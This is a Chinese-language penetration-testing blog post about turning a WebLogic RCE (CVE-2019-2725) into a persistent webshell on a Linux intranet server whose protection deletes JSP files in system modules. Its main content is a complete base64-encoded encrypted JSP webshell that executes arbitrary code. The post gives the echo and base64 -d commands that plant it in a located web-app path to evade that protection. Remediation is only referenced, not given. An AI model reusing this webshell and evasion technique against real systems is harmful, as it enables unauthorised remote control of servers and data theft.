TIDE_网络安全

从RCE到隔离内网(二)

2019-06-26  本文已影响20人  RabbitMask

在上次经历过一次借助CVE-2019-2725 RCE拿到webshell之后,又碰到了一例,依然是一个纯内网机,区别在于本次目标服务器为Linux系统,且系统环境堪称诡异,作为一台linux居然存在某种防护机制,会删除写入的jsp文件,但又不像杀毒软件的内容检测机制,txt并不会被清除,然而会在重命名为jsp时被清除。

因为这个端口是扫到的,所以预先并不知道其web应用的存在,刚开始也没有想过要去找web应用,直接借助网上公开的exp开始利用,写入webshell,但是正如上面提到的某种防护机制,木马文件被清除了。这里exp的webshell直接写入到bea_wls_internal模块下,后来我们又手动往我们所熟悉的uddiexplorer模块下写shell,发现同样被清除。

在老大的指导下,发现web应用写入的shell居然没有被清除!这个机制确实诡异,难道系统模块才会被实时检测?我们刚开始只是认为是不是需要重启weblogic生效,后来发现目标路径下确实没有我们的文件,这里关于web应用的获取便成了一个很细节的一环。

webapp名称获取

个人理解两种思路:

find /weblogic -name 'XXXX' -type d
ls /weblogic/user_projects/domains/XXXX/servers/XX/tmp/_WL_user

在正式开始之前,还要提一点,网上傻瓜式的exp确实好用,但只适用于windows,在Linux环境下,它的命令无法读取组合命令,如dir /tmp,它只执行了dir,所以这里强烈案例借助burp重放post包的方式进行RCE。

写入webshell

还是熟悉的套路,webshell bash64加密:


将加密后的payload写入到web应用路径下(txt):

echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwYXNzIikhPW51bGwpe1N0cmluZyBrPSgiIitVVUlELnJhbmRvbVVVSUQoKSkucmVwbGFjZSgiLSIsIiIpLnN1YnN0cmluZygxNik7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7b3V0LnByaW50KGspO3JldHVybjt9Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpKyIiKS5nZXRCeXRlcygpLCJBRVMiKSk7bmV3IFUodGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmcoYy5kb0ZpbmFsKG5ldyBzdW4ubWlzYy5CQVNFNjREZWNvZGVyKCkuZGVjb2RlQnVmZmVyKHJlcXVlc3QuZ2V0UmVhZGVyKCkucmVhZExpbmUoKSkpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7JT4= >/weblogic/user_projects/domains/XXXX/servers/XX/tmp/_WL_user/cmss/odtlyx/war/jsp/rabbit.txt

对txt中的payload进行base64解码:

base64 -d /weblogic/user_projects/domains/XXXX/servers/XX/tmp/_WL_user/cmss/odtlyx/war/jsp/rabbit.txt >/weblogic/user_projects/domains/XXXX/servers/XX/tmp/_WL_user/cmss/odtlyx/war/jsp/rabbit.jsp

总结

修复建议参考从RCE到隔离内网(一)。

说实话,本文写出来并不好看,但鬼晓得我们一群人在这上面绕了多久,假想了一个杀毒软件,分析进程到现在也没搞清楚是什么防护机制,没想到会存在一个区别对待的机制,也没想到走要去走webapp的方向,我很难说今天碰到的不是一个特例,但谁又能保证下一个不是特例呢?

一句话思路概括:如果遇到系统模块无法写入shell的情况,试着去找下webapp地址与路径吧。

上一篇下一篇

猜你喜欢

热点阅读